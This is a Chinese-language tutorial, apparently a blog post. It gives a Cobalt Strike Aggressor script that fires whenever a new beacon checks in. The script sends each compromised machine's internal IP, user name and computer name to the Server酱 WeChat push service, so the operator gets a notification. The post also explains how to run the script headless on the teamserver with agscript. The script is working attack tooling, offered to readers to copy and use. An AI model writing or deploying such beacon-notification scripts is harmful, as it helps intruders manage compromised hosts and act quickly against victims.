先上效果图:
复制下面代码保存为 http_ftqq.cna
文件。
或者百度云下载:https://pan.baidu.com/s/15LPGaTLkdWWgVZW8A1E82g 提取码:nm1y
注意:需要修改代码25行链接内容为你Server酱的SCKEY码
# 循环获取所有beacon on beacon_initial { sub http_get { local('$output'); $url = [new java.net.URL: $1]; $stream = [$url openStream]; $handle = [SleepUtils getIOHandle: $stream, $null]; @content = readAll($handle); foreach $line (@content) { $output .= $line . "\r\n"; } println($output); } #获取ip、计算机名、登录账号 $internalIP = replace(beacon_info($1, "internal"), " ", "_"); $userName = replace(beacon_info($1, "user"), " ", "_"); $computerName = replace(beacon_info($1, "computer"), " ", "_"); #get一下Server酱的链接 $url = 'https://sc.ftqq.com/此处填写你Server酱的SCKEY码.send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&desp=%e4%bb%96%e6%9d%a5%e4%ba%86%e3%80%81%e4%bb%96%e6%9d%a5%e4%ba%86%ef%bc%8c%e4%bb%96%e8%84%9a%e8%b8%8f%e7%a5%a5%e4%ba%91%e8%b5%b0%e6%9d%a5%e4%ba%86%e3%80%82%0D%0A%0D%0Aip:'.$internalIP.'%0D%0A%0D%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0D%0A%0D%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName; http_get($url);}COPY
把cna脚本添加到本地客户端后,如果beacon上线了,这个提醒的请求 是从客户端发出的。
那么问题来了,如果我要接收通知,是不是就得一直开着客户端连着teamserver?
这样就非常不方便了,而且如果网络有波动,断开了到teamserver的连接,就收不到通知了。
其实在服务器端有个 agscript
文件,他就是用来在服务器端运行cna文件的,这样就不用一直连着服务器端。
./agscript [host] [port] [user] [pass] </path/to/file.cna>
[host] #服务器的ip地址。
[port] #cs的端口号,启动cs时有显示。
[user] #用户名,用来运行这个脚本的用户名,随便即可。
[pass] #cs的密码,就是启动cs时你设置的密码。
[path] #cna文件的路径。
过程中遇到Server酱微信推送中的问题
输出到微信端的文字不换行。
最后查百度找到的内容是写在URL里则应该是%0D%0A%0D%0A
参考资料:
CobaltStrike插件开发官方指南 Part3
https://xz.aliyun.com/t/6188
Aggressor Script http dome
https://github.com/001SPARTaN/aggressor_scripts/blob/master/http.cna